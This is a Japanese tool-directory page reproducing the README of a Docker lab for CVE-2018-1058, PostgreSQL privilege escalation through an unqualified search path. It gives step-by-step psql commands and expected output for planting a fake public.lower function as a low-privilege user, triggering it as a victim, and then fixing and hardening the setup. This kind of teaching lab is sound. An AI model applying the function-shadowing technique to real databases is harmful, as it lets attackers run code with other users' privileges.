Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-1058 — CVE-2018-1058 PostgreSQLの制御されていないサーチパスを介した権限昇格の再現可能なDockerベースのデモンストレーション、脆弱環境とパッチ適用環境の比較付き。 | Kitploit
ツール/GitHubGitHub/ccchme/cve-2018-1058
特権昇格脆弱性分析エクスプロイト学習と教育データベースセキュリティラボと実践
GitHubccchme/cve-2018-1058

CVE-2018-1058

CVE-2018-1058 PostgreSQLの制御されていないサーチパスを介した権限昇格の再現可能なDockerベースのデモンストレーション、脆弱環境とパッチ適用環境の比較付き。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-1058 — PostgreSQL 検索パスのデモンストレーション

このリポジトリには、以下の最終報告書と再現性の成果物が含まれています。

CVE-2018-1058: 制御されていない検索パスによるPostgreSQLの権限昇格

この目的は、安全なローカルDocker環境を使用して、CVE-2018-1058の背後にある検索パスの信頼の失敗を実証することです。

このデモは、過去のpg_dump実行パスを正確に再現するものではありません。代わりに、PostgreSQLのガイダンスに記載されている同じ根本原因を再現します。攻撃者が書き込み可能なスキーマに類似オブジェクトが存在し、別のセッションが非修飾名をそのオブジェクトに解決するというものです。


1. 内容

root@kitploit:~
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
    ├── init.sql
    ├── init_safe.sql
    ├── exploit.sql
    ├── victim_query.sql
    ├── verify_qualify.sql
    └── fix.sql

最終報告書はreport.pdfです。これには、以下に示す期待される出力に対応する文書分析とスクリーンショットが含まれています。

Dockerfileは不要です。このプロジェクトは公式のpostgresイメージを使用します。

スクリーンショットはreport.pdfに直接埋め込まれているため、個別の画像ファイルとしては提供されません。

2. 必要条件

インストール:

  • Docker
  • Docker Compose
  • psqlクライアント(推奨、必須ではありません)

このデモは2つのPostgreSQLコンテナを使用します:

ポート15432と15433が空いていることを確認してください。

クイック実行の概要

期待される実行順序は次のとおりです:

  1. 脆弱性のあるPostgreSQL 10.2サービスを起動します。
  2. exploit.sqlをattackerとして実行します。
  3. victim_query.sqlをvictimとして実行し、CVE-2018-1058 DEMO: プレフィックスを確認します。
  4. verify_qualify.sqlをvictimとして実行し、通常の小文字出力を確認します。
  5. fix.sqlをpostgresとして実行します。
  6. victim_query.sqlを再実行し、通常の小文字出力を確認します。
  7. 強化されたPostgreSQL 10.3サービスを起動します。
  8. exploit.sqlをポート15433で再実行し、permission denied for schema public を確認します。

3. 脆弱性のある環境を起動する

root@kitploit:~
docker compose up -d pg_vulnerable
docker compose ps

期待される結果: サービスpg_vulnerableが実行中であり、ポート15432にマップされていること。

PostgreSQLのバージョンを確認する:

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"

期待される結果: PostgreSQL 10.2。

4. データベースのロールを確認する

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"

期待されるロール:

  • postgres
  • attacker
  • victim

攻撃者はPostgreSQLのスーパーユーザーではありません。

5. エクスプロイトを実行する

攻撃者スクリプトを実行:

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

期待される出力:

root@kitploit:~
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION

これにより以下が作成されます:

  • 無害なpublic.exploit_logテーブル;
  • 偽のpublic.lower(varchar)関数。

6. 被害者として脆弱な動作をトリガーする

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

期待される出力:

root@kitploit:~
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo

これは、被害者の通常のクエリがlower(...)を攻撃者制御の関数に解決したことを示しています。

7. 副作用を確認する

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"

期待される結果: public.exploit_logに少なくとも2行あり、被害者クエリで処理された各行に対応します。

8. 防御的な修飾を示す

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql

期待される出力:

root@kitploit:~
alice demo
bob demo

これはpg_catalog.lower(...)がPostgreSQLにビルトイン関数の使用を強制するため機能します。

9. 脆弱性のあるコンテナに修正を適用する

root@kitploit:~
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql

期待される出力には次のようなものが含まれます:

root@kitploit:~
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE

次に被害者クエリを再実行:

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

期待される出力:

root@kitploit:~
alice demo
bob demo

攻撃者制御の関数は削除され、クエリは通常の小文字文字列を返します。

10. 強化された環境を起動する

root@kitploit:~
docker compose up -d pg_fixed
docker compose ps

バージョンを確認:

root@kitploit:~
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"

期待される結果: PostgreSQL 10.3。

11. 強化された環境でエクスプロイトが失敗することを確認する

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

期待される出力:

root@kitploit:~
ERROR: permission denied for schema public

これは攻撃者がpublicに偽の関数を作成できないことを意味し、攻撃チェーンは名前解決の前に停止します。

12. クリーンアップ

コンテナを停止するには:

root@kitploit:~
docker compose down

ボリュームを削除してプロジェクトを完全にリセットするには:

root@kitploit:~
docker compose down -v

13. 注意事項

このデモは意図的に無害です。データの窃取、ファイルへのアクセス、オペレーティングシステムコマンドの実行は行いません。

エクスプロイトは可視の文字列プレフィックスとログテーブルを使用して、PostgreSQLが非修飾関数名を攻撃者制御のオブジェクトに解決したことを証明します。

公式のCVEはpg_dumpやその他のクライアントアプリケーションに関するものです。このリポジトリは、安全で再現可能な教室環境において、同じ検索パスの信頼の失敗を実証します。

14. トラブルシューティング

ポートが既に使用されている場合は、ローカルのPostgreSQLサービスを停止するか、docker-compose.ymlのホストポートを変更してください。

出力が期待される結果と一致しない場合は、次のコマンドで環境をリセットしてください:

root@kitploit:~
docker compose down -v
docker compose up -d pg_vulnerable

ローカルにpsqlがインストールされていない場合でも、バージョン確認やロール確認のコマンドはコンテナ内でdocker execを使用して実行できます。

pg_vulnerableでエクスプロイトが失敗する場合は、データベースがリセットされていること、およびscripts/exploit.sqlがscripts/fix.sqlの前に実行されていることを確認してください。

15. 参考文献

  • PostgreSQL CVE-2018-1058 勧告: https://www.postgresql.org/support/security/CVE-2018-1058/
  • PostgreSQL Wiki, A Guide to CVE-2018-1058: https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path
  • PostgreSQL 10.3 リリースノート: https://www.postgresql.org/docs/release/10.3/
  • NVD CVE-2018-1058: https://nvd.nist.gov/vuln/detail/CVE-2018-1058
  • MITRE CVE-2018-1058: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1058
ツールをダウンロード
サービスバージョンコンテナ名ホストポート目的
pg_vulnerablePostgreSQL 10.2cve1058_pg_vulnerable15432脆弱性のあるデモ
pg_fixedPostgreSQL 10.3cve1058_pg_fixed15433修正済み/強化済みの比較